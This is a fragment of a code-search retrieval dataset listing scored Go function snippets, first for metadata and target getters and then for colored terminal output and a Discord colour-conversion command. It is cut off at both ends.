"7df9d79b91ef031b24dbf7ec4989ee2a", "score": "0.4234857", "text": "func (a *NamespaceKeeper) GetTarget(path string, blockNum ...uint64) (string, error) {\n\n\t// Get version is provided\n\tvar version uint64\n\tif len(blockNum) > 0 && blockNum[0] > 0 {\n\t\tversion = blockNum[0]\n\t}\n\n\tnamespace, domain, err := util.SplitNamespaceDomain(path)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tactualName := crypto.MakeNamespaceHash(namespace)\n\tns := a.Get(actualName, version)\n\tif ns.IsNil() {\n\t\treturn \"\", fmt.Errorf(\"namespace not found\")\n\t}\n\n\ttarget := ns.Domains.Get(domain)\n\tif target == \"\" {\n\t\treturn \"\", fmt.Errorf(\"domain not found\")\n\t}\n\n\treturn target, nil\n}", "title": "" }, { "docid": "7a90798e0b6166d875f0ae6d37bf1cb7", "score": "0.42291555", "text": "func (c *jsiiProxy_CfnMatchmakingConfiguration) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "0a0eeaf3f9ba62f5d9096a662c4e7800", "score": "0.42159212", "text": "func checkMetaExistence(metaData *meta, path string) (bool, bool) {\n\n\t// Manage file\n\tfile, err := os.OpenFile(path+\".meta\", os.O_RDONLY, permissionRWRR)\n\thandleError(\"checkMetaExistence: meta file open \", err)\n\tdefer file.Close()\n\n\t// Result vars\n\tvar fileExists bool = false\n\tvar checkSumExists bool = false\n\n\t// For storing a line's content\n\tvar one string\n\tvar two string\n\n\t// Read line-by-line and check\n\tfor true {\n\t\tn, err := fmt.Fscanf(file, metaReadWriteFormat, &one, &two)\n\n\t\tif (err != nil && err.Error() == \"EOF\") || n == 0 {\n\t\t\tbreak\n\t\t}\n\t\thandleError(\"checkMetaExistence: meta file read \", err)\n\n\t\tmetaData.fileName = restoreWhiteSpaces(metaData.fileName)\n\t\tif one == metaData.checksum {\n\t\t\tcheckSumExists = true\n\t\t}\n\n\t\tif two == metaData.fileName {\n\t\t\tfileExists = true\n\t\t}\n\n\t}\n\n\treturn fileExists, checkSumExists\n}", "title": "" }, { "docid": "6edec4042c674e765e56984889b3c882", "score": "0.42155498", "text": "func (t *Afts_LabelEntry) GetMetadata() Binary {\n\tif t == nil || t.Metadata == nil {\n\t\treturn nil\n\t}\n\treturn t.Metadata\n}", "title": "" }, { "docid": "fe94a52fc7d4bfd2dc82f585b41be537", "score": "0.42129293", "text": "func GetMetadata(pkgPath string) (*plugin.Metadata, error) {\n\tdata, err := os.ReadFile(pkgPath)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error reading plugin metadata file: %w\", err)\n\t}\n\tvar md *plugin.Metadata\n\tif err = yaml.Unmarshal(data, &md); err != nil || md == nil {\n\t\treturn nil, fmt.Errorf(\"error unmarshaling plugin metadata file: %w\", err)\n\t}\n\tif err := validateMetadata(md); err != nil {\n\t\treturn nil, fmt.Errorf(\"error validating plugin metadata: %w\", err)\n\t}\n\treturn md, nil\n}", "title": "" }, { "docid": "7d3ee892a68b48daca76a0cbf0ce715d", "score": "0.42014882", "text": "func (o GoogleCloudDatacatalogLineageV1EventLinkOutput) Target() GoogleCloudDatacatalogLineageV1EntityReferenceOutput {\n\treturn o.ApplyT(func(v GoogleCloudDatacatalogLineageV1EventLink) GoogleCloudDatacatalogLineageV1EntityReference {\n\t\treturn v.Target\n\t}).(GoogleCloudDatacatalogLineageV1EntityReferenceOutput)\n}", "title": "" }, { "docid": "8ae375ec5d8fabd9e310a0b50cddccba", "score": "0.4194485", "text": "func NewMetaData(dir string, verFile string) (md *MetaData, err kv.Error) {\n\n\tmd = &MetaData{}\n\n\tusr, errGo := user.Current()\n\tif errGo != nil {\n\t\treturn nil, kv.Wrap(errGo).With(\"stack\", stack.Trace().TrimRuntime())\n\t}\n\tmd.user = usr\n\n\tcwd, errGo := os.Getwd()\n\tif errGo != nil {\n\t\treturn nil, kv.Wrap(errGo, \"current directory unknown\").With(\"stack\", stack.Trace().TrimRuntime())\n\t}\n\tmd.Module = filepath.Base(cwd)\n\n\tif len(dir) > 0 && dir != \".\" {\n\t\tdirCtx := \"\"\n\t\tif dir[0] == '/' {\n\t\t\tmd.Module = filepath.Base(dir)\n\t\t\tdirCtx = dir\n\t\t} else {\n\t\t\tdirCtx = filepath.Join(cwd, dir)\n\t\t\tmd.Module = filepath.Base(dirCtx)\n\t\t}\n\t\tpath, errGo := filepath.Abs(dirCtx)\n\t\tif errGo != nil {\n\t\t\treturn nil, kv.Wrap(errGo, \"could not resolve the project directory\").With(\"dir\", dirCtx).With(\"stack\", stack.Trace().TrimRuntime())\n\t\t}\n\n\t\tif cwd != path {\n\t\t\tif errGo := os.Chdir(path); errGo != nil {\n\t\t\t\treturn nil, kv.Wrap(errGo, \"could not change to the project directory\").With(\"dir\", path).With(\"stack\", stack.Trace().TrimRuntime())\n\t\t\t}\n\t\t}\n\t}\n\n\tif err = md.LoadGit(cwd, true); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// The main README.md will be at the git repos top directory\n\tmd.VerFile = filepath.Join(md.Git.Dir, verFile)\n\tif _, err = md.LoadVer(md.VerFile); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Ensure that the module name is made docker compatible\n\tif md.Module, err = md.ScrubForDocker(md.Module); err != nil {\n\t\treturn nil, err\n\t}\n\treturn md, nil\n}", "title": "" }, { "docid": "888d2266f0db275dbda9c72549ece73b", "score": "0.41885898", "text": "func (m *MySQL) GetTarget(ctx context.Context, id uuid.UUID) (*datastore.Target, error) {\n\tvar t datastore.Target\n\tquery := fmt.Sprintf(`SELECT uuid, scope, ghe_domain, github_token, token_expired_at, resource_type, runner_user, runner_version, provider_url, status, status_description, created_at, updated_at FROM targets WHERE uuid = ?`)\n\tif err := m.Conn.GetContext(ctx, &t, query, id.String()); err != nil {\n\t\tif errors.Is(err, sql.ErrNoRows) {\n\t\t\treturn nil, datastore.ErrNotFound\n\t\t}\n\n\t\treturn nil, fmt.Errorf(\"failed to execute SELECT query: %w\", err)\n\t}\n\n\treturn &t, nil\n}", "title": "" }, { "docid": "b3f7878358a8112b8822b92d75383300", "score": "0.4187269", "text": "func parseTarget(targ string) (*target, error) {\n\tf, err := os.OpenFile(targ, os.O_RDONLY, 0660)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer f.Close()\n\n\tt := new(target)\n\tif err := json.NewDecoder(f).Decode(t); err != nil {\n\t\treturn nil, err\n\t}\n\treturn t, nil\n}", "title": "" }, { "docid": "aeab3503384d9a0e6625f164606a9461", "score": "0.41805354", "text": "func (graph *BuildGraph) Target(label BuildLabel) *BuildTarget {\n\treturn graph.targets.Get(label)\n}", "title": "" }, { "docid": "7102905cba0d4b1fd52237a65359808e", "score": "0.4179303", "text": "func (c *jsiiProxy_CfnRoute) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "540a163b76931be89efcaf3f0b3549ec", "score": "0.417684", "text": "func GetMetadata(ctx context.Context) (MD, bool) {\n\tmetadata, ok := ctx.Value(metadataKey{}).(MD)\n\treturn metadata, ok\n}", "title": "" }, { "docid": "68cd9f68f3b0566e0634afe6355824fe", "score": "0.41740888", "text": "func getManifest(pkgPath string) (*v1beta1.Task, []byte, error) {\n\t// Locate manifest file\n\tmatches, err := filepath.Glob(filepath.Join(pkgPath, \"*.yaml\"))\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"error locating manifest file: %w\", err)\n\t}\n\tif len(matches) != 1 {\n\t\treturn nil, nil, nil\n\t}\n\n\t// Process matches, returning the first valid resource manifest found\n\tfor _, match := range matches {\n\t\t// Read and parse manifest file\n\t\tmanifestData, err := ioutil.ReadFile(match)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tmanifest := &v1beta1.Task{}\n\t\tif err = yaml.Unmarshal(manifestData, &manifest); err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tif manifest.Kind != \"Task\" && manifest.Kind != \"ClusterTask\" {\n\t\t\tcontinue\n\t\t}\n\t\treturn manifest, manifestData, nil\n\t}\n\n\treturn nil, nil, nil\n}", "title": "" }, { "docid": "4504f288e016d5f305f9a1515f45c106", "score": "0.41701716", "text": "func (o GoogleCloudDatacatalogLineageV1EventLinkResponseOutput) Target() GoogleCloudDatacatalogLineageV1EntityReferenceResponseOutput {\n\treturn o.ApplyT(func(v GoogleCloudDatacatalogLineageV1EventLinkResponse) GoogleCloudDatacatalogLineageV1EntityReferenceResponse {\n\t\treturn v.Target\n\t}).(GoogleCloudDatacatalogLineageV1EntityReferenceResponseOutput)\n}", "title": "" }, { "docid": "8af00d2ef66bfd6ed76503749b760dcc", "score": "0.41674906", "text": "func (r *Arc[T]) Target() int64 {\n\treturn r.target\n}", "title": "" }, { "docid": "366ebb264c07934987957b691dbe9d2a", "score": "0.41666064", "text": "func (db *DB) SetMetaPath(mp string) {\n\tdb.metaPath = mp\n}", "title": "" }, { "docid": "df60cd7081d8800ecde2c937d04adbbe", "score": "0.41631168", "text": "func ExtractMetaFromTarball(tarballName, cwd string) (*Model, error) {\n\tif !strings.HasSuffix(tarballName, \".tar.gz\") {\n\t\treturn nil, fmt.Errorf(\"given file should be a .tar.gz file\")\n\t}\n\tcmd := exec.Command(\"tar\", \"xpf\", tarballName, \"-C\", cwd, \"./\"+modelMetaFileName)\n\tout, err := cmd.CombinedOutput()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"can't unzip model tarball %s: %s, %v\", tarballName, out, err)\n\t}\n\tmetaPath := path.Join(cwd, modelMetaFileName)\n\tdefer os.Remove(metaPath)\n\treturn loadMeta(metaPath)\n}", "title": "" }, { "docid": "b997913eaa62525bd04bb3bae84e72c8", "score": "0.41618475", "text": "func (m *DirectRoutingLogRow) GetMediaPathLocation()(*string) {\n val, err := m.GetBackingStore().Get(\"mediaPathLocation\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.(*string)\n }\n return nil\n}", "title": "" }, { "docid": "90d1e9a324b2288ba7e0920adea1533a", "score": "0.4160141", "text": "func NewMetadata(path string, storedPath string) (*Metadata, error) {\n\n\thash, err := ContentHash(path)\n\tif os.IsNotExist(err) {\n\t\treturn nil, nil\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Metadata{Path: storedPath, ContentHash: hash}, nil\n}", "title": "" }, { "docid": "1e226009582bfa8e96be3d34d91c6b17", "score": "0.41539493", "text": "func (o *Response) GetTarget() string {\n\tif o == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\n\treturn o.Target\n}", "title": "" }, { "docid": "3bb812065595b3dea11b8cfa3642af71", "score": "0.41367215", "text": "func (r *Ex) GetTarget(name string) Target {\n\tr.nameToTargetsMu.RLock()\n\tdefer r.nameToTargetsMu.RUnlock()\n\n\treturn r.nameToTargets[name]\n}", "title": "" }, { "docid": "0078f664735ca8188febeb24b067c92a", "score": "0.4130284", "text": "func GetTarget(name string) (Target, error) {\n\tif v, ok := targetRegistry[name]; ok {\n\t\treturn v, nil\n\t}\n\n\treturn nil, fmt.Errorf(\"target %q is not registered\", name)\n}", "title": "" }, { "docid": "22ed3a733a246774e8d21b3f010d46ff", "score": "0.4129291", "text": "func (ctx *Context) ManifestFile(target Target) string {\n\treturn filepath.Join(ctx.ProjectRoot(), filepath.Dir(target.Path), \"manifest.toml\")\n}", "title": "" }, { "docid": "f86af31fad0edbd3e16f1bf54ea05434", "score": "0.41259015", "text": "func (g *Gossiper) GetMetadataByFilename(filename string) *data.MetaData {\n\tfor _, metadata := range g.Files {\n\t\tif metadata.FileName == filename {\n\t\t\treturn &metadata\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b7643165669ac4c912a78b33202f85ce", "score": "0.41207626", "text": "func (r *Reader) Lookup(path string) (e *TOCEntry, ok bool) {\n\tpath = cleanEntryName(path)\n\tif r == nil {\n\t\treturn\n\t}\n\te, ok = r.m[path]\n\tif ok && e.Type == \"hardlink\" {\n\t\te, ok = r.m[e.LinkName]\n\t}\n\treturn\n}", "title": "" }, { "docid": "bba55d193518101ae7a6b15e79b19dbc", "score": "0.4119258", "text": "func (_m *mockPrometheusAPI) TargetsMetadata(ctx context.Context, matchTarget string, metric string, limit string) ([]v1.MetricMetadata, error) {\n\tret := _m.Called(ctx, matchTarget, metric, limit)\n\n\tvar r0 []v1.MetricMetadata\n\tvar r1 error\n\tif rf, ok := ret.Get(0).(func(context.Context, string, string, string) ([]v1.MetricMetadata, error)); ok {\n\t\treturn rf(ctx, matchTarget, metric, limit)\n\t}\n\tif rf, ok := ret.Get(0).(func(context.Context, string, string, string) []v1.MetricMetadata); ok {\n\t\tr0 = rf(ctx, matchTarget, metric, limit)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).([]v1.MetricMetadata)\n\t\t}\n\t}\n\n\tif rf, ok := ret.Get(1).(func(context.Context, string, string, string) error); ok {\n\t\tr1 = rf(ctx, matchTarget, metric, limit)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "2b3fa80f143011dcd5d905e1f59bfa2c", "score": "0.41021156", "text": "func (o *ModelsDeploymentTarget) GetMetadataOk() (*ModelsDeploymentTargetMetadata, bool) {\n\tif o == nil || o.Metadata == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Metadata, true\n}", "title": "" }, { "docid": "a786696363f19e216db04cfcb61c0f6c", "score": "0.41010284", "text": "func (e Exercise) HasMetadata() (bool, error) {\n\t_, err := os.Lstat(e.MetadataFilepath())\n\tif os.IsNotExist(err) {\n\t\treturn false, nil\n\t}\n\tif err == nil {\n\t\treturn true, nil\n\t}\n\treturn false, err\n}", "title": "" }, { "docid": "552d0f85daa77d6a4398701e1e97db59", "score": "0.40935105", "text": "func (op *UpdateTargetOperation) Metadata() (*deploypb.OperationMetadata, error) {\n\tvar meta deploypb.OperationMetadata\n\tif err := op.lro.Metadata(&meta); err == longrunning.ErrNoMetadata {\n\t\treturn nil, nil\n\t} else if err != nil {\n\t\treturn nil, err\n\t}\n\treturn &meta, nil\n}", "title": "" }, { "docid": "56ad175eb4e0347dce194e2b9baf966c", "score": "0.4090452", "text": "func (t *Afts_Ipv4Entry) GetMetadata() Binary {\n\tif t == nil || t.Metadata == nil {\n\t\treturn nil\n\t}\n\treturn t.Metadata\n}", "title": "" }, { "docid": "8f257dd3b2369e0eeaa282cbbc813a22", "score": "0.40893552", "text": "func (indexFile *YTFSIndexFile) MetaData() *ydcommon.Header {\n\treturn indexFile.meta\n}", "title": "" }, { "docid": "5144facdd684850ca7e00d15d83c8a97", "score": "0.40887856", "text": "func GetTarget(ctx *pulumi.Context,\n\tname string, id pulumi.IDInput, state *TargetState, opts ...pulumi.ResourceOption) (*Target, error) {\n\tvar resource Target\n\terr := ctx.ReadResource(\"google-native:clouddeploy/v1:Target\", name, id, state, &resource, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resource, nil\n}", "title": "" }, { "docid": "961202a58d5e28cf1e3dbabe480255d2", "score": "0.40770435", "text": "func (e Exercise) LegacyMetadataFilepath() string {\n\treturn filepath.Join(e.Filepath(), legacyMetadataFilename)\n}", "title": "" }, { "docid": "728fff02da1611f9df582af015b0e832", "score": "0.4076976", "text": "func (m Message) GetTargetStrategy(f *field.TargetStrategyField) quickfix.MessageRejectError {\n\treturn m.Body.Get(f)\n}", "title": "" }, { "docid": "957f2cd59731c1b58aa70201f2fd5ef1", "score": "0.40729725", "text": "func (vAppTemplate *VAppTemplate) GetMetadata() (*types.Metadata, error) {\n\treturn getMetadata(vAppTemplate.client, vAppTemplate.VAppTemplate.HREF, vAppTemplate.VAppTemplate.Name)\n}", "title": "" } ]
37264e51550d161921e7edf475687931
Red writes an Red coloured message with level
[ { "docid": "83521deee7a17f5aa865062322285e01", "score": "0.7591666", "text": "func (w Writer) Red(out string, level int) {\n\tw.log(out, color.FgRed, level)\n}", "title": "" } ]
[ { "docid": "8f41b97be9ab4906c9075c1599b51f35", "score": "0.6531585", "text": "func (w Writer) RedBright(out string, level int) {\n\tw.log(out, color.FgHiRed, level)\n}", "title": "" }, { "docid": "ee06ba118ddd84263f1ad3e83e54ec5f", "score": "0.6115964", "text": "func (w Writer) Green(out string, level int) {\n\tw.log(out, color.FgGreen, level)\n}", "title": "" }, { "docid": "5b964def530e69dd7f0dd17b2cd8fd66", "score": "0.6101941", "text": "func (c *Console) Red(format string, a ...interface{}) {\n\tfmt.Println(c.Redf(format, a...))\n}", "title": "" }, { "docid": "e3fb731da08316b2cf3984f63055b0eb", "score": "0.60733324", "text": "func Red(style int, format string, a ...interface{}) string {\n\treturn Apply(FgRed, style, format, a...)\n}", "title": "" }, { "docid": "10f235186f55e96693a265d14dadbb49", "score": "0.6053341", "text": "func Red(format string, a ...interface{}) string {\n\treturn generateFormat(SFDRed, format, a...)\n}", "title": "" }, { "docid": "091fe6b33c1db4484c835b7344db264e", "score": "0.6010532", "text": "func (w Writer) Yellow(out string, level int) {\n\tw.log(out, color.FgYellow, level)\n}", "title": "" }, { "docid": "cf5426f9f44372d5d946fcb768857561", "score": "0.5906121", "text": "func Colourise(msg, status string) string {\n\trep := MapStatus(status)\n\n\treturn StatusColour[rep.Category](msg)\n}", "title": "" }, { "docid": "b8023839b96fa41937ada7becb9f4aa0", "score": "0.5892774", "text": "func (b *Buffer) sendColor(c string, s ...string) {\n\tif b == nil || b.silentMode {\n\t\treturn\n\t}\n\tif b.count != 0 || !b.omitLF {\n\t\tb.buf = append(b.buf, '\\n')\n\t}\n\tb.buf = append(b.buf, c...)\n\tfor _, s := range s {\n\t\tb.buf = append(b.buf, s...)\n\t}\n\tb.count++\n\treturn\n}", "title": "" }, { "docid": "b192d03f987b596d0e1f5420f4bb61cb", "score": "0.58680564", "text": "func Colour(s *discordgo.Session, m *discordgo.MessageCreate) {\n\t// Initiate image generator\n\tctx := gg.NewContext(512, 512)\n\tctx.DrawRectangle(0, 0, 512, 512)\n\tvar col color.Color\n\tvar text string\n\n\tregex, err := regexp.Compile(`(?i)col(ou?r)?\\s(.+)`)\n\tparams := \"\"\n\tif !regex.MatchString(m.Content) { // No values given, generate random colour\n\t\tauthorid, _ := strconv.Atoi(m.Author.ID)\n\t\trandom := rand.New(rand.NewSource(int64(authorid) + time.Now().UnixNano()))\n\t\tcol = color.NRGBA{\n\t\t\tuint8(random.Intn(256)),\n\t\t\tuint8(random.Intn(256)),\n\t\t\tuint8(random.Intn(256)),\n\t\t\t255,\n\t\t}\n\t} else {\n\t\tparams = regex.FindStringSubmatch(m.Content)[2]\n\t}\n\n\t// Set colour\n\tif strings.Contains(params, \"-hex\") { // HEX\n\t\tparams = strings.TrimSpace(strings.Replace(params, \"-hex\", \"\", -1))\n\t\tparams = strings.TrimSpace(strings.Replace(params, \"#\", \"\", -1))\n\n\t\tcol, err = colourtools.HexToRGB(params)\n\t\tif err != nil {\n\t\t\ts.ChannelMessageSend(m.ChannelID, \"Invalid hex! Make sure the hex value for the colour is either 3, 6, or 8 characters long, and has no illegal characters!\")\n\t\t\treturn\n\t\t}\n\t} else if strings.Contains(params, \"-hsla\") || strings.Contains(params, \"-hsl\") { // HSL(A)\n\t\tparams = strings.TrimSpace(strings.Replace(params, \"-hsla\", \"\", -1))\n\t\tparams = strings.TrimSpace(strings.Replace(params, \"-hsl\", \"\", -1))\n\n\t\tvals := strings.Split(params, \" \")\n\t\tif len(vals) < 3 || len(vals) > 4 {\n\t\t\ts.ChannelMessageSend(m.ChannelID, \"You may only send 3 to 4 values for hsl(a)! Separate the values by spaces.\")\n\t\t\treturn\n\t\t}\n\n\t\thslavals := []float64{}\n\t\tfor _, val := range vals {\n\t\t\tvalNum, err := strconv.ParseFloat(val, 64)\n\t\t\tif err != nil || valNum < 0 || valNum > 255 {\n\t\t\t\ts.ChannelMessageSend(m.ChannelID, \"Invalid HSL(A) value! Value must be between 0 and 255\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\thslavals = append(hslavals, valNum)\n\t\t}\n\n\t\tcol, err = colourtools.HSLtoRGB(hslavals)\n\t\tif err != nil {\n\t\t\ts.ChannelMessageSend(m.ChannelID, \"Invalid HSL(A) values! `\"+err.Error()+\"`\")\n\t\t\treturn\n\t\t}\n\t} else if strings.Contains(params, \"-hsva\") || strings.Contains(params, \"-hsv\") { // HSV(A)\n\t\tparams = strings.TrimSpace(strings.Replace(params, \"-hsva\", \"\", -1))\n\t\tparams = strings.TrimSpace(strings.Replace(params, \"-hsv\", \"\", -1))\n\n\t\tvals := strings.Split(params, \" \")\n\t\tif len(vals) < 3 || len(vals) > 4 {\n\t\t\ts.ChannelMessageSend(m.ChannelID, \"You may only send 3 to 4 values for hsv(a)! Separate the values by spaces.\")\n\t\t\treturn\n\t\t}\n\n\t\thsvavals := []float64{}\n\t\tfor _, val := range vals {\n\t\t\tvalNum, err := strconv.ParseFloat(val, 64)\n\t\t\tif err != nil || valNum < 0 || valNum > 255 {\n\t\t\t\ts.ChannelMessageSend(m.ChannelID, \"Invalid HSV(A) value! Value must be between 0 and 255\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\thsvavals = append(hsvavals, valNum)\n\t\t}\n\n\t\tcol, err = colourtools.HSVtoRGB(hsvavals)\n\t\tif err != nil {\n\t\t\ts.ChannelMessageSend(m.ChannelID, \"Invalid HSV(A) values! `\"+err.Error()+\"`\")\n\t\t\treturn\n\t\t}\n\t} else if strings.Contains(params, \"-cmyk\") { // CMYK\n\t\tparams = strings.TrimSpace(strings.Replace(params, \"-cmyk\", \"\", -1))\n\n\t\tvals := strings.Split(params, \" \")\n\t\tif len(vals) != 4 {\n\t\t\ts.ChannelMessageSend(m.ChannelID, \"You may only send 3 values for CMYK! Separate the values by spaces.\")\n\t\t\treturn\n\t\t}\n\n\t\tcmykvals := []uint8{}\n\t\tfor _, val := range vals {\n\t\t\tvalNum, err := strconv.ParseUint(val, 10, 8)\n\t\t\tif err != nil || valNum > 100 {\n\t\t\t\ts.ChannelMessageSend(m.ChannelID, \"Invalid CMYK value! Value must be between 0 and 100\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\tcmykvals = append(cmykvals, uint8(float64(valNum)*2.5))\n\t\t}\n\n\t\tcol = color.CMYK{\n\t\t\tcmykvals[0],\n\t\t\tcmykvals[1],\n\t\t\tcmykvals[2],\n\t\t\tcmykvals[3],\n\t\t}\n\t} else if strings.Contains(params, \"-ycbcr\") { // YCBCR\n\t\tparams = strings.TrimSpace(strings.Replace(params, \"-ycbcr\", \"\", -1))\n\n\t\tvals := strings.Split(params, \" \")\n\t\tif len(vals) != 3 {\n\t\t\ts.ChannelMessageSend(m.ChannelID, \"You may only send 3 values for YCbCr! Separate the values by spaces.\")\n\t\t\treturn\n\t\t}\n\n\t\tycbcrvals := []uint8{}\n\t\tfor _, val := range vals {\n\t\t\tvalNum, err := strconv.ParseUint(val, 10, 8)\n\t\t\tif err != nil {\n\t\t\t\ts.ChannelMessageSend(m.ChannelID, \"Invalid YCbCr value! Value must be between 0 and 255\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\tycbcrvals = append(ycbcrvals, uint8(valNum))\n\t\t}\n\n\t\tcol = color.YCbCr{\n\t\t\tycbcrvals[0],\n\t\t\tycbcrvals[1],\n\t\t\tycbcrvals[2],\n\t\t}\n\t} else if params != \"\" { // RGB(A)\n\t\t// In case they tried to use this tag not knowing the default is rgb anyway\n\t\tparams = strings.TrimSpace(strings.Replace(params, \"-rgba\", \"\", -1))\n\t\tparams = strings.TrimSpace(strings.Replace(params, \"-rgb\", \"\", -1))\n\n\t\tvals := strings.Split(params, \" \")\n\t\tif len(vals) < 3 || len(vals) > 4 {\n\t\t\ts.ChannelMessageSend(m.ChannelID, \"You may only send 3 to 4 values for rgb(a)! Separate the values by spaces.\")\n\t\t\treturn\n\t\t}\n\n\t\trgbavals := []uint8{}\n\t\tfor _, val := range vals {\n\t\t\tvalNum, err := strconv.ParseUint(val, 10, 8)\n\t\t\tif err != nil {\n\t\t\t\ts.ChannelMessageSend(m.ChannelID, \"Invalid RGB value! Value must be between 0 and 255\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\trgbavals = append(rgbavals, uint8(valNum))\n\t\t}\n\n\t\tif len(rgbavals) == 4 { // RGBA\n\t\t\tcol = color.NRGBA{\n\t\t\t\trgbavals[0],\n\t\t\t\trgbavals[1],\n\t\t\t\trgbavals[2],\n\t\t\t\trgbavals[3],\n\t\t\t}\n\t\t} else { // RGB\n\t\t\tcol = color.NRGBA{\n\t\t\t\trgbavals[0],\n\t\t\t\trgbavals[1],\n\t\t\t\trgbavals[2],\n\t\t\t\t255,\n\t\t\t}\n\t\t}\n\t}\n\n\t// Generate image\n\tctx.SetColor(col)\n\tctx.Fill()\n\timg := ctx.Image()\n\n\t// Generate text\n\tr, g, b, a := col.RGBA()\n\tr >>= 8\n\tg >>= 8\n\tb >>= 8\n\ta >>= 8\n\tvals := []uint8{uint8(r), uint8(g), uint8(b)}\n\tif a != 255 {\n\t\tvals = append(vals, uint8(a))\n\t}\n\thex, err := colourtools.RGBToHex(vals)\n\thsl, err := colourtools.RGBToHSL(vals)\n\thsv, err := colourtools.RGBToHSV(vals)\n\tcmyk, err := colourtools.RGBToCMYK(vals)\n\tycbcr, err := colourtools.RGBToYCBCR(vals)\n\tif err != nil {\n\t\ts.ChannelMessageSend(m.ChannelID, \"Error converting values! \"+err.Error())\n\t\treturn\n\t}\n\tif a != 255 {\n\t\ttext += \"RGBA: \" + strconv.Itoa(int(r)) + \" \" + strconv.Itoa(int(g)) + \" \" + strconv.Itoa(int(b)) + \" \" + strconv.Itoa(int(a)) + \"\\n\" +\n\t\t\t\"Hex: \" + hex + \"\\n\" +\n\t\t\t\"HSLA: \" + strconv.Itoa(hsl[0]) + \" \" + strconv.Itoa(hsl[1]) + \" \" + strconv.Itoa(hsl[2]) + \" \" + strconv.Itoa(hsl[3]) + \"\\n\" +\n\t\t\t\"HSVA: \" + strconv.Itoa(hsv[0]) + \" \" + strconv.Itoa(hsv[1]) + \" \" + strconv.Itoa(hsv[2]) + \" \" + strconv.Itoa(hsv[3]) + \"\\n\" +\n\t\t\t\"CMYK: \" + strconv.Itoa(int(float64(cmyk.C)/255*100)) + \" \" + strconv.Itoa(int(float64(cmyk.M)/255*100)) + \" \" + strconv.Itoa(int(float64(cmyk.Y)/255*100)) + \" \" + strconv.Itoa(int(float64(cmyk.K)/255*100)) + \"\\n\" +\n\t\t\t\"YCbCrA: \" + strconv.Itoa(int(ycbcr.Y)) + \" \" + strconv.Itoa(int(ycbcr.Cb)) + \" \" + strconv.Itoa(int(ycbcr.Cr)) + \" \" + strconv.Itoa(int(ycbcr.A))\n\t} else {\n\t\ttext += \"RGB: \" + strconv.Itoa(int(r)) + \" \" + strconv.Itoa(int(g)) + \" \" + strconv.Itoa(int(b)) + \"\\n\" +\n\t\t\t\"Hex: \" + hex + \"\\n\" +\n\t\t\t\"HSL: \" + strconv.Itoa(hsl[0]) + \" \" + strconv.Itoa(hsl[1]) + \" \" + strconv.Itoa(hsl[2]) + \"\\n\" +\n\t\t\t\"HSV: \" + strconv.Itoa(hsv[0]) + \" \" + strconv.Itoa(hsv[1]) + \" \" + strconv.Itoa(hsv[2]) + \"\\n\" +\n\t\t\t\"CMYK: \" + strconv.Itoa(int(float64(cmyk.C)/255*100)) + \" \" + strconv.Itoa(int(float64(cmyk.M)/255*100)) + \" \" + strconv.Itoa(int(float64(cmyk.Y)/255*100)) + \" \" + strconv.Itoa(int(float64(cmyk.K)/255*100)) + \"\\n\" +\n\t\t\t\"YCbCr: \" + strconv.Itoa(int(ycbcr.Y)) + \" \" + strconv.Itoa(int(ycbcr.Cb)) + \" \" + strconv.Itoa(int(ycbcr.Cr))\n\t}\n\n\t// Send image\n\timgBytes := new(bytes.Buffer)\n\t_ = png.Encode(imgBytes, img)\n\ts.ChannelMessageSendComplex(m.ChannelID, &discordgo.MessageSend{\n\t\tContent: text,\n\t\tFiles: []*discordgo.File{\n\t\t\t{\n\t\t\t\tName: \"image.png\",\n\t\t\t\tReader: imgBytes,\n\t\t\t},\n\t\t},\n\t})\n}", "title": "" }, { "docid": "72875e1f6d052617911dd5a42be0a422", "score": "0.5851998", "text": "func (c *Client) Write(msg string) {\n\tif !c.colorMe {\n\t\tmsg = DeColorString(msg)\n\t}\n\tc.term.Write([]byte(msg + \"\\r\\n\"))\n}", "title": "" }, { "docid": "8da01ea4ac70d8780d2597f680b06a84", "score": "0.57857007", "text": "func redText(message string) string {\n\treturn color.RedString(message)\n}", "title": "" }, { "docid": "841589f38e1a106c3a4a0e76b5a7d2f1", "score": "0.57849425", "text": "func (p *depPrinter) red(s string) string {\n\treturn p.wrap(s, colorRed)\n}", "title": "" }, { "docid": "8d669def377e9e6ce979efd34bc77989", "score": "0.5742787", "text": "func red(arg interface{}) string {\n\treturn colorize(fmt.Sprint(arg), redCol)\n}", "title": "" }, { "docid": "a945207fdb0ceba87fd66665e465e524", "score": "0.5736537", "text": "func enableAnsiColors(_ io.Writer) {}", "title": "" }, { "docid": "f029a2fb580fb07246532cbd2970e623", "score": "0.5671339", "text": "func Color(code, msg string) string {\n\treturn Default.Color(code, msg)\n}", "title": "" }, { "docid": "dbeba0da2fb601bbea893dc0c2bf76e9", "score": "0.5651446", "text": "func ColorWrite(w 